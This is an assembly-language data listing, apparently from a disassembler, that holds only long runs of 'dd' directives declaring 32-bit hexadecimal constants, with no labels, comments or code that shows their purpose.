dd 0F4C5B2A5h, 2BA73B94h, 21C34FE7h, 0C19944E5h, 0D2EEBD6Bh
dd 0F2619120h, 2B355AA5h, 20EB02DCh, 0CE9309BAh, 1C20A0C8h
dd 0B2784357h, 233BA2B7h, 0E38B6736h, 1A86D24Bh, 0D75A9A60h
dd 8088EB7Ah, 81F6F03Dh, 0B80E339Ah, 903ACF1h, 147C135Ch
dd 11D0B889h, 729E8338h, 31362D2Fh, 5B2DD577h, 563392B7h
dd 559C4D8Eh, 4CDCAB46h, 0C803F88Ah, 0D4608E1Fh, 0EB38F59Bh
dd 871D80CFh, 0A4CC7DB3h, 0DABA36A0h, 0D7F32518h, 0B4068CCFh
dd 89A68869h, 6836568Fh, 2D5B39F5h, 3CE68F76h, 0EA0AAB75h
dd 0F8C28F35h, 20C58C55h, 3964B8D3h, 984C98F6h, 800A4BD8h
dd 0DF83B2CAh, 837FAFBEh, 0CF8BFA02h, 0C2E9974Eh, 6FB02D1h
dd 113494DCh, 68677BA3h, 551AA7B7h, 0D2ACAE69h, 0FD1322F6h
dd 208957E8h, 507F37D6h, 84E78988h, 5094A2F0h, 0D5D4A061h
dd 3464C8B9h, 0F7360FD4h, 0F35636A1h, 1811A56Bh, 0BB9A9C6Bh
dd 0F516A265h, 88496CF9h, 35488A7Fh, 60154DB7h, 4CF833C6h
dd 358DB1ECh, 79F90C46h, 856A838h, 9D9A0FC2h, 63A61DE8h
dd 11B344Ch, 0DD529510h, 0A5EE272Dh, 10DBF139h, 0F7F889FDh
dd 5B8E8F4Ah, 47DE2438h, 3AEC5BE2h, 0A35CECCDh, 509A1D2h
dd 0FC27941Eh, 0D81527BBh, 84F8804Ch, 1E705548h, 3936095Dh
dd 4AB0592Eh, 0D5E66452h, 0FC388C78h, 9BCBEFB8h, 14D7A042h
dd 16857D8Ah, 0CCD5994Ah, 0CE44FE0Ah, 1C5DDC7Fh, 9E902F62h
dd 0D374EF11h, 17B930E0h, 95D3A14Dh, 74A9D915h, 0BDED288Ah
dd 948EB076h, 5040F154h, 0A44D0B84h, 414C32DCh, 2BF66227h
dd 8E49E26Ch, 95DECAECh, 8581925Dh, 79E70F69h, 84D974BCh
dd 0CDA16A27h, 8B34513Fh, 5BD25EDDh, 4DFF8012h, 28E96FEEh
dd 2A741E2Fh, 0DEF07FBh, 23E740C5h, 1BB90052h, 0DEB3755Dh
dd 549A5CFDh, 0E01411C0h, 15E83B8Fh, 0C8FE8473h, 466D387Ch
dd 63EC4DF6h, 74F86813h, 3632B5CCh, 0A77B23E7h, 0D792946Bh
dd 0A8BD9148h, 4908B212h, 9AFB6Dh, 8C34B839h, 300EAC9Dh
dd 0F82E11FDh, 0D905A36Fh, 73C36329h, 547222CFh, 0BEFA4D7Ah
dd 24746872h, 5B731413h, 0FC2A38F8h, 5DEEECC6h, 34AAE4E8h
dd 9AA0B677h, 0CF0EB961h, 7001DFCCh, 1F920525h, 1F81F8FBh
dd 0E00B985Bh, 0ED627205h, 3E17F5A9h, 899B1776h, 0DADBD5AEh
dd 65E2AFAEh, 81A8666Ah, 0B8108FE2h, 0A2E787E5h, 0C5D7E530h
dd 0FD14C55Ah, 53915C9Eh, 2CA924Bh, 0CB84433Fh, 802E0D1Eh
dd 1BE70E42h, 35444EF8h, 8E8E9F8Fh, 6B2F119Eh, 9738F87Bh
dd 7B9769Ah, 0CB4688F1h, 0C4263425h, 0B39B755Ah, 0DE904B44h
dd 86CC5F0Ch, 5648C849h, 0A01EBB64h, 0CD0E15Dh, 2400B931h
dd 0AC6B2935h, 0BA7C9236h, 39D60BD7h, 41E0E0DAh, 36CA9C8h
dd 67B4A881h, 7E6474B4h, 0F793474Fh, 1E22583Ch, 5D2AA630h
dd 9DDFD0F2h, 32F27DC1h, 0A7D42FE1h, 0FD09EF1h, 357FA457h
dd 0F31A65B6h, 31AF8623h, 25DBFF18h, 58A87745h, 0DBC96B9Ah
dd 81819ABBh, 0C67F0D18h, 13E97DC4h, 0C69E4485h, 5F155BA8h
dd 0C5CECB5Fh, 0D8258EE0h, 0EE24EB70h, 3D48AC41h, 650FF44Ch
dd 0CE95CD6Ah, 4F99B13Dh, 5E83904Bh, 0C791C7C5h, 0A9BA776Ah
dd 32FE19F4h, 567F9E8Ah, 74FF3596h, 9E8129F9h, 5C33E902h
dd 502ABAB7h, 2089C5E7h, 68BD1FDCh, 4BC60EE0h, 592D25F2h
dd 125F3188h, 5E86B5EAh, 89AB679Fh, 9A5E2927h, 3033E4DFh
dd 35FE2E57h, 0FA0C6EA4h, 5267CFFBh, 8A74795Fh, 1E209143h
dd 4BA1E291h, 0A8C2541Dh, 0C279902Eh, 0C804D708h, 0CF1B1A57h
dd 0B7F99A16h, 0E94D1E82h, 30EA8830h, 4D8060Bh, 0AC89623Ah
dd 111A519Ch, 67AB77DCh, 808686DBh, 3813B77Dh, 0B95C6005h
dd 9C2D469Fh, 0A04E826Fh
dd 3A52CFC6h, 94607C4h, 147F4EE3h, 4BCA76DBh, 0DA7B7EB6h
dd 0B6BA7FB0h, 44E5B773h, 0D8C95865h, 21B31276h, 2914C288h
dd 0C0CC72BDh, 2666EF32h, 0E72E043Ah, 48266EF5h, 20E8B232h
dd 0B29103E0h, 5C3563B7h, 61D27D83h, 6A264540h, 0A8AD8FE4h
dd 9B465AAAh, 9BE99D4Eh, 4119FBFBh, 0C25E51D3h, 0F837C9A5h
dd 87F80223h, 115D1FD8h, 799B5F1Ch, 0D64AC077h, 19241546h
dd 677F8899h, 0C54060F8h, 0DD3DBB44h, 0A0349D64h, 2B3CEBBAh
dd 0A8467C04h, 1188E13Ah, 29A85CD5h, 0EA60FA14h, 6B1360C3h
dd 2A4C9D09h, 24F28CB5h, 0C09DDC8h, 7184B4F3h, 32063533h
dd 0BD6C89C8h, 0A58B375Bh, 359C1611h, 29EED3A2h, 0B4A802CAh
dd 5CC65062h, 0B666DB7Eh, 0F16CF383h, 3277C54Ch, 8703673Eh
dd 3D1BB4C5h, 279AC5D8h, 2B975A26h, 9CB2E57h, 0B538ECE1h
dd 8212A349h, 0EF812CF7h, 0EB42B9CAh, 0D1F8C69Fh, 7686C307h
dd 45A48FCEh, 0F5BC2ABDh, 6EFE3EF4h, 125BC0F5h, 9E56E62h
dd 1C88A11Ah, 7968DC39h, 0E5B6734Bh, 0F1F78638h, 0BD3A9459h
dd 0DB44EDD2h, 66A99E77h, 1D22495Dh, 0C5A686CBh, 0B1255DCh
dd 78FDED9Ah, 0E2E70793h, 42EB665Bh, 4F89B37Fh, 75E673D5h
dd 0EA41B388h, 0C150B0F9h, 4550874h, 6F938D2Bh, 7A8F9AA9h
dd 0F6C11E88h, 348B63C6h, 0DA7454Ch, 9375877Ch, 138CDF20h
dd 8930916Eh, 9009074Bh, 0B39F0207h, 90456603h, 34910D8h
dd 76FB486Fh, 71B89C9Ch, 0D643EE9h, 83C0F19Eh, 0B87021F2h
dd 0C61F486Fh, 0BE3D55Bh, 837FE888h, 0E02CD5C6h, 1EA3438Dh
dd 2A03E421h, 66A36AA4h, 37C0BA15h, 83A8E6E7h, 638079h
dd 36993FF8h, 0B94C3C8Ch, 95A3AA77h, 0B9DC8B71h, 22BADB47h
dd 7D5104D6h, 8B8B53D4h, 61C29B3Bh, 0F43FD218h, 47633444h
dd 0BB8C4C56h, 4CD06913h, 56E8E2A5h, 0E1F7B63Bh, 9A9DD338h
dd 0D5E0B02h, 2939E2E2h, 0E1122F01h, 0A2C397Ah, 5982464Bh
dd 3E5B2A89h, 63CEE4C4h, 9E7EF4A5h, 61608B4Dh, 2183805Bh
dd 24F9F75Bh, 2770B3B0h, 0E4215D5Ah, 83BE14C4h, 0DEF5CCDAh
dd 0DFC6E555h, 96EAFF6h, 7BD27398h, 0AD9800AAh, 25683160h
dd 366DC941h, 9A0976CFh, 0A1AB82E7h, 0E4D8996Eh, 0F0656DFEh
dd 898C42CEh, 692678B1h, 3B474426h, 0F540DD55h, 6C920B4Ch
dd 875FE17Ch, 3CF5B37Ah, 0BEA2270Bh, 0E0986605h, 0CF60D716h
dd 0FA57EFADh, 6DD1E0A1h, 0AAA876CFh, 3E5BCE58h, 0B979D84h
dd 0BDA5B3A7h, 0BBE146F7h, 5A5B86E6h, 0BBDF15ECh, 8FBE3FEBh
dd 3ABC6E7h, 9A2EEB40h, 4CE9AB43h, 75B246C8h, 0F256D040h
dd 7C0F1809h, 0C617E90Dh, 51021CD5h, 0DB12980h, 0AE39B8B1h
dd 398AD5h, 0A8450ED6h, 0FCB6E727h, 13D7443Fh, 6FE9C44Eh
dd 0A09F0B67h, 0DCBF776Dh, 264C4BB2h, 0C30249AAh, 0D80756FAh
dd 9D94F8C1h, 6264CD85h, 4C5F8829h, 0CB78FDD6h, 846B659Ah
dd 0A398950Ah, 1846E1Eh, 89909C9Eh, 0D75E1A20h, 0B59CB50Eh
dd 0F2A29728h, 4748740Dh, 4CEF8BE2h, 76FFF370h, 7B2684DDh
dd 9ED1D0F2h, 0B295A1A5h, 0AF96F0C3h, 0E0FC74B1h, 3563D13Ch
dd 0DFA92DFEh, 0C588E73Ch, 292BB990h, 38E80Eh, 0BA843F98h
dd 0A9851D7Bh, 22AD2DB8h, 31B1E7EAh, 0D3C3B375h, 27F55525h
dd 0CF4F8FA3h, 2B5A576h, 0F0AA81Ch, 0DA321376h, 950ED504h
dd 0D4414B0Bh, 0EEACC26Eh, 0D98297C3h, 2C35CC06h, 91179548h
dd 0DC2C3BB3h, 286CD136h, 4C2891F0h, 0B9CC39F7h, 0EC15BEDDh
dd 83AF625Ch, 0CE0F8B0Fh, 109958C3h, 0B6B9C5D7h, 102E260h
dd 6C27A46Bh, 85BABA9Dh, 0E7E0D35Ah, 914FA022h, 16103009h
dd 8B3FE243h, 0A6577ABh, 34090C9h, 7371CA0Dh, 7DCB5A3h
dd 4B97AB17h, 575947F4h, 0D0347983h, 7E8C4EC0h, 0FDAAB97Ch
dd 19C293CCh, 2B2062E2h, 603DDF2Bh, 0D19A7CBCh, 0B01D3873h
dd 86CFFDF3h, 0F6AEBA15h, 6B92022Eh, 4AAF5745h, 264321E5h
dd 5DC6C2F3h, 0A7ADC3ACh, 2C64202h, 4F18126Dh, 59C13CB8h
dd 2F2DA187h, 368222Bh, 43382D64h, 334D22F4h, 9E5553DFh
dd 0E1BC51AFh, 1BCE461Fh, 16CEFADDh, 242CE1Fh, 4E45F6BFh
dd 9AF4F38Ah, 0B0659E53h, 4E4ACFDDh, 0D687540Fh, 0D4F789D0h
dd 0E13ABF56h, 87F27216h, 0B9F6B02Eh, 1051BAE3h, 3FE98DB2h
dd 2E769A6Bh, 0B4A5D386h, 38233021h, 0D037A5E4h, 0AB10A37Eh
dd 65ED5E00h, 1708EC4Ch, 39630E68h, 0A110F595h, 0CCF97475h
dd 2A688D78h, 3ABA673Fh, 8E2D5BFAh, 8795D19Dh, 0C03B2A22h
dd 0B351A55Ch, 8C535F55h, 0E4773532h, 92179947h, 0C4FD318Ah
dd 93507E2h, 0F0F97924h, 76D9BEB0h, 3D12A5A2h, 66150A36h
dd 0D421A608h, 0EAA4FBC7h, 31402095h, 240DF5B4h, 0DAF35A43h
dd 0C2BD77A8h, 97C4B5B9h, 28984B60h, 0E07D9889h, 0DB5AE547h
dd 4A623277h, 6D4C8A13h, 0B87761ECh, 6639FF7h, 471E29E0h
dd 884E432Bh, 5FDF9E34h, 97AB23F6h, 363A1D36h, 4ED8B741h
dd 0ADD04A47h, 4808BFh, 0C662DFE6h, 73A5BDFEh, 124547F3h
dd 198B411Ch, 0C2230B54h, 1A79D418h, 58468D2Dh, 0DF562963h
dd 0C8B7FDB2h, 2ED18A7Bh, 0A5282BF4h, 4019FD50h, 6D2D397Dh
dd 7DA10CA7h, 0E76D0E85h, 0AAFBB3C0h, 0EB4A336Dh, 24EFD30Bh
dd 4631C6CEh, 28AA937Fh, 92B76F59h, 0F43EEA7Ah, 0C36A9EF0h
dd 7F3250DFh, 1BA572F6h, 0B465EC29h, 7B0AD6D6h, 0FDD29983h
dd 0C255517Ah, 6BB88D29h, 0DBCBF441h, 6A80FF50h, 3C29EAE8h
dd 9A106ACEh, 0CDECCEEFh, 35B11890h, 0F0916B0Bh, 2CA9F1DAh
dd 26B31346h, 9E5ECFB7h, 0FA526903h, 74B1C9EDh, 4950DF70h
dd 9C51E8A6h, 4D2AE715h, 1E0832EAh, 8FA98156h, 732CFACBh
dd 0C6A16905h, 0A20BD7F5h, 3B4E9F38h, 0DB43DA5Bh, 1822E84Fh
dd 3D20EE84h, 73B038DDh, 12E4FDD6h, 0A8E2724Bh, 4E7CFEC6h
dd 0A12E181Ch, 0DC5B5FBDh, 0E0FF8C0Fh, 7F9158C4h, 7D028AD3h
dd 0ED378A19h, 0D3D59226h, 0AF8BA9E6h, 24F8ADF7h, 1567AB23h
dd 6C51288Dh, 0D11DC3D2h, 0BCB30969h, 5B27FD4Ch, 842EF52Eh
dd 189261Dh, 0F26A2E64h, 0D85D5E93h, 44213CF1h, 12D0AAE4h
dd 0E67BA64h, 0CF9D04F0h, 0A3409332h, 1E2C8606h, 0D4FF776Fh
dd 5CC9AA57h, 0F6EE47A5h, 8B2E8524h, 71200C9Ah, 0C40BA461h
dd 0FDA3EBACh, 0D8AD4DE2h, 0AC5B7328h, 24A021B7h, 2ED9A64Eh
dd 89F1D5E0h, 9F2B5860h, 9D40D26h, 0C782F182h, 824602E6h
dd 4FE5DFEFh, 7054DD03h, 0DD8479Dh, 9BA58284h, 8632E885h
dd 855680DEh, 1B76423h, 0BD852D5Ch, 0F15777F4h, 9F260EDCh
dd 9E88444Eh, 1059D6C0h, 0E54CB546h, 0EF13BE36h, 543B7D0Eh
dd 2BD6905h, 0A06D12B4h, 0C0450ED0h, 0BD4B96E1h, 0C8955CE5h
dd 0AA0DC0D9h, 1B9267D3h, 955A4F11h, 75FE37ADh, 3D246E60h
dd 0D2EBC72h, 8F2ECB5Eh, 356CBE19h, 13BE90ECh, 139250DEh
dd 0A04238C3h, 0D0E59E6Ch, 7A28D16h, 0C0FBD11Eh, 33EE486Bh
dd 1CFE2266h, 35F27931h, 94633B70h, 0EF57E99Ah, 0E2E0309Ch
dd 0AC5D540Eh, 0FEBC4A0Bh, 0A5CD928Dh, 15D457CCh, 5B4BA85Bh
dd 1EE300DEh, 0F4B8A867h, 4EEF9DBDh, 4B3AA2EFh, 3E370E68h
dd 0B1FDDBDEh, 0CC3B2A01h, 222A85Bh, 59C47DE0h, 0F3DBA6Bh
dd 9BF7524Ah, 8848CBC2h, 2E9E1E2Ch, 479C736Dh, 46CDEC0Ah
dd 0F8A15791h, 5B626622h, 11C0CA13h, 0A2C30A0Ch, 90F875B7h
dd 8291858h, 2AEDAA06h, 2949E561h, 245D095Ah, 0A554D48Dh
dd 282909B8h, 0C1988587h
dd 0BCAACB69h, 0A0290BB4h, 76D39B4Bh, 0B66C95FDh, 5B975A96h
dd 0FF2020D3h, 0A0E9E499h, 0E91641F3h, 0F3A7B40h, 3428713h
dd 43020502h, 36DA25E5h, 0E3FA6C7h, 0D893ADDh, 0B61C157h
dd 70D4CDC5h, 0E48D00ABh, 851F3062h, 9B589D49h, 69D9AA62h
dd 32B76A6h, 32D38E49h, 9E0DFF71h, 62A43AD3h, 17F4098Eh
dd 7A6F96B5h, 0A2738767h, 67CA71B3h, 78E8B83Fh, 3EE8277Dh
dd 1B0F5516h, 0CA4384A6h, 21FAF922h, 0A97F46CBh, 8D0F41Fh
dd 0EA07FA85h, 0DFCA1C93h, 0B049F2h, 0A1D5F105h, 43E01C1h
dd 95D8E03Bh, 47E03105h, 0BC69A69Ch, 0EDABEAF3h, 1A488CDCh
dd 7088A2C4h, 8C2D2879h, 32F3AF08h, 5118E4FAh, 247DE551h
dd 10FD8B4Bh, 860B1753h, 0E475369Dh, 0EC871716h, 0B0F196EFh
dd 5198B874h, 2C03A61Fh, 8ECD49A7h, 215CA01Fh, 42C54FFh
dd 2CE1B14Bh, 41E29FE1h, 3C7323F9h, 1D6F3CB7h, 76EFC72Ch
dd 9B796BA7h, 9B9C16B9h, 1623BC49h, 0BF74B775h, 0F1B5F965h
dd 5273EE51h, 4562BCF4h, 20C48C71h, 0DC907079h, 4F565205h
dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h
dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh
dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h
dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h
dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h, 88C4ECDAh
dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh
dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h
dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh
dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh
dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h
dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh
dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h, 5273468Fh
dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h
dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh, 0FDA20F88h
dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h
dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h, 2CCE9776h
dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h
dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h
dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch
dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h
dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h, 9C294C51h
dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah
dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh, 219B7835h
dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h, 0ED8D70BEh
dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah
dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h, 0B14E25E8h
dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah
dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh
dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h
dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h
dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h, 0E1C60AD3h
dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h
dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh
dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h, 5CE12E8Fh
dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh, 53E858C4h
dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h
dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh
dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh, 0EA32C238h
dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h
dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h, 0E33F0429h
dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h
dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh
dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch
dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh, 554534FFh
dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h, 426F74B1h
dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh, 4A8F55EDh
dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h
dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h, 6BC88A2Bh
dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h, 0AA42F5B1h
dd 862CCB08h, 83EC73Bh, 0C83118D4h, 0D8FF2841h, 0AB099381h
dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh, 3C32C15Eh
dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h
dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh
dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah
dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h
dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh
dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh
dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h, 2FE98CA8h
dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h, 0F6D81F8Bh
dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh
dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh, 0CBCA6A83h
dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah
dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h, 6D2CB4BCh
dd 6CF2AF0h, 3E32541Ch, 9CC77AE7h, 77283958h, 0F28EBAE3h
dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h
dd 49B2BB8h, 1E582B81h, 36D9DE3Bh, 94B078EDh, 0AE8B4C09h
dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h
dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h
dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh
dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h
dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h
dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h, 1EF6BC89h
dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h
dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h
dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h
dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh
dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh
dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh
dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh
dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h
dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h
dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h, 0F7E0AA94h
dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh
dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h
dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh, 210EB568h
dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h
dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh
dd 0A58E5F17h, 93B58B67h
dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h, 3C0F969Eh
dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h, 988D52CBh
dd 4259A72Ch, 64A75C9h, 0D0142981h, 1DC2C148h, 0A0532745h
dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h
dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h, 1FA316CCh
dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh
dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h
dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh, 13DE9A23h
dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h
dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h
dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh
dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh
dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h
dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h
dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h
dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh
dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh, 0EB442818h
dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h, 26E8D9F3h
dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h, 3509B03Fh
dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch, 8551E844h
dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h
dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h, 2DE5161Bh
dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh, 25A24317h
dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh, 73F45DBBh
dd 9A1776F0h, 7F88F8Eh, 19642D6Fh, 0A9019293h, 0E279860Ch
dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h
dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h, 629093A2h
dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh
dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh
dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h
dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh, 8968137h
dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h
dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh
dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h
dd 1FB5384h, 74BAB5B9h, 288B0FFEh, 9542F13Fh, 0FDC3B4BFh
dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h
dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh, 0C9DC882Fh
dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh
dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh
dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h, 0C12A5Dh
dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah, 14285566h
dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h
dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh, 0E537C0FDh
dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h
dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h
dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h
dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h, 954BAE80h
dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh
dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh
dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h
dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch
dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh
dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h
dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh
